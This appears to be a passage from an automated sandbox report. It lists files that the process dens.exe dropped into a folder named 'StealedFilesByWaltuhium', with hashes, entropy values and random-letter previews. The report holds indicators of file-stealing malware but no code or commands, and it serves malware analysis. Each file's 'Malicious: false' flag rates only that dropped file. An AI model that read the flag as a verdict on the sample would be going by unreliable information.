Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSAT